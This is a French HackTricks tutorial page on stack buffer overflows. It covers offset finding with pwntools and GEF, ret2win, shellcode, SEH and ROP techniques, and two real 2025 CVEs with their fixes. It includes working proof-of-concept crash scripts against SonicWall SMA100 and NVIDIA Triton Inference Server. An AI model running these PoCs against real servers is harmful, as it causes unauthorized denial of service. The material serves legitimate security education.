Stack Overflow
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce qu'un Stack Overflow
Un stack overflow est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la stack que ce qui lui a été alloué. Ces données excédentaires vont écraser des zones mémoire adjacentes, entraßnant la corruption de données valides, la perturbation du flux de contrÎle et potentiellement l'exécution de code malveillant. Ce problÚme survient souvent à cause de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des données en entrée.
Le problÚme principal de cet écrasement est que le pointeur d'instruction sauvegardé (EIP/RIP) et le pointeur de base sauvegardé (EBP/RBP) permettant de revenir à la fonction précédente sont stockés sur la stack. Par conséquent, un attaquant pourra les écraser et contrÎler le flux d'exécution du programme.
La vulnérabilité survient généralement parce qu'une fonction copie dans la stack plus d'octets que la quantité qui lui a été allouée, pouvant ainsi écraser d'autres parties de la stack.
Quelques fonctions couramment vulnérables sont : strcpy
, strcat
, sprintf
, gets
... De plus, des fonctions comme fgets
, read
et memcpy
qui prennent un argument de longueur, peuvent ĂȘtre utilisĂ©es de maniĂšre vulnĂ©rable si la longueur spĂ©cifiĂ©e est supĂ©rieure Ă celle allouĂ©e.
Par exemple, les fonctions suivantes pourraient ĂȘtre vulnĂ©rables:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Trouver les offsets de Stack Overflow
La méthode la plus courante pour détecter des Stack overflows est d'envoyer une trÚs grande entrée de A
(par ex. python3 -c 'print("A"*1000)'
) et d'attendre un Segmentation Fault
indiquant qu'on a tenté d'accéder à l'adresse 0x41414141
.
De plus, une fois que vous avez constaté qu'il existe une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir écraser l'adresse de retour ; pour cela on utilise généralement une De Bruijn sequence. Laquelle, pour un alphabet donné de taille k et des sous-séquences de longueur n, est une séquence cyclique dans laquelle chaque sous-séquence possible de longueur n apparaßt exactement une fois comme sous-séquence contiguë.
Ainsi, au lieu de devoir déterminer manuellement quel offset permet de contrÎler l'EIP, il est possible d'utiliser comme padding l'une de ces séquences puis de trouver l'offset des octets qui ont fini par l'écraser.
On peut utiliser pwntools pour cela:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ou GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploitation des Stack Overflows
Lors d'un overflow (si la taille de l'overflow est suffisante), vous pourrez Ă©craser les valeurs des variables locales sur la stack jusqu'Ă atteindre les EBP/RBP et EIP/RIP sauvegardĂ©s (ou mĂȘme plus).
Le moyen le plus courant d'exploiter ce type de vulnĂ©rabilitĂ© est de modifier l'adresse de retour afin que, lorsque la fonction se termine, le control flow soit redirigĂ© lĂ oĂč l'utilisateur l'a spĂ©cifiĂ© dans ce pointeur.
Cependant, dans d'autres scénarios, écraser certaines valeurs de variables dans la stack peut suffire pour l'exploitation (comme dans des challenges CTF faciles).
Ret2win
Dans ce type de challenges CTF, il y a une fonction dans le binaire qui n'est jamais appelée et que vous devez appeler pour gagner. Pour ces challenges, il suffit de trouver l'offset pour écraser l'adresse de retour et trouver l'adresse de la fonction à appeler (généralement ASLR est désactivé) de sorte que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
Stack Shellcode
Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et abuser du EIP/RIP contrÎlé pour sauter vers le shellcode et exécuter du code arbitraire :
Windows SEH-based exploitation (nSEH/SEH)
Sur Windows 32-bit, un overflow peut Ă©craser la chaĂźne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardĂ©e. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un court saut permettant de revenir dans le grand buffer oĂč rĂ©side le shellcode. Un schĂ©ma courant est un court jmp dans nSEH qui atterrit sur un near jmp de 5 octets placĂ© juste avant nSEH pour sauter de centaines d'octets vers le dĂ©but du payload.
ROP & Ret2... techniques
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : No executable stack (NX). Elle permet aussi de réaliser plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
Heap Overflows
Un overflow ne se produit pas toujours dans la stack, il peut aussi se produire dans le heap, par exemple :
Types de protections
Il existe plusieurs protections cherchant Ă empĂȘcher l'exploitation des vulnĂ©rabilitĂ©s, consultez-les dans :
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Une bonne démonstration de pourquoi sscanf
ne devrait jamais ĂȘtre considĂ©rĂ© comme fiable pour analyser des entrĂ©es non fiables est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall.
La routine vulnérable dans /usr/src/EasyAccess/bin/httpd
tente d'extraire la version et l'endpoint de toute URI commençant par /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La premiĂšre conversion (
%2s
) stocke en toute sécurité deux octets dansversion
(par ex."v1"
). - La seconde conversion (
%s
) n'a pas de spécificateur de longueur, doncsscanf
continuera de copier jusqu'au premier octet NUL. - Parce que
endpoint
est situĂ© sur la stack et est 0x800 bytes long, fournir un chemin plus long que 0x800 bytes corrompt tout ce qui se trouve aprĂšs le buffer â y compris le stack canary et le saved return address.
Une preuve de concept d'une seule ligne suffit à déclencher le crash avant l'authentification :
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
MĂȘme si les stack canaries arrĂȘtent le processus, un attaquant obtient toujours une primitive Denial-of-Service (et, avec des leaks d'information supplĂ©mentaires, Ă©ventuellement code-execution). La leçon est simple :
- Fournir toujours une largeur de champ maximale (par ex.
%511s
). - Privilégier des alternatives plus sûres telles que
snprintf
/strncpy_s
.
Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIAâs Triton Inference Server (†v25.06) contenait plusieurs stack-based overflows accessibles via son HTTP API.
Le motif vulnérable apparaissait à plusieurs reprises dans http_server.cc
et sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) renvoie le nombre de segments de tampon internes qui composent le corps de la requĂȘte HTTP courante.- Chaque segment provoque l'allocation d'un
evbuffer_iovec
de 16-byte sur la stack viaalloca()
â sans aucune limite supĂ©rieure. - En abusant de HTTP chunked transfer-encoding, un client peut forcer la requĂȘte Ă ĂȘtre dĂ©coupĂ©e en des centaines de milliers de 6-byte chunks (
"1\r\nA\r\n"
). Cela fait quen
croßt sans limite jusqu'à épuisement de la stack.
Preuve de concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk â 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor â 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Une requĂȘte d'environ 3 Mo suffit Ă Ă©craser l'adresse de retour sauvegardĂ©e et Ă faire planter le daemon sur une build par dĂ©faut.
Correctif & atténuation
La version 25.07 remplace l'allocation non sûre sur la pile par un heap-backed std::vector
et gĂšre gracieusement std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Leçons apprises :
- Ne jamais appeler
alloca()
avec des tailles contrĂŽlĂ©es par l'attaquant. - Les requĂȘtes chunked peuvent modifier radicalement la forme des buffers cĂŽtĂ© serveur.
- Validez / limitez toute valeur dérivée de l'entrée client avant de l'utiliser dans des allocations mémoire.
Références
- watchTowr Labs â Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits â Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow â SEH overflow to RCE over HTTP (0xdf)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.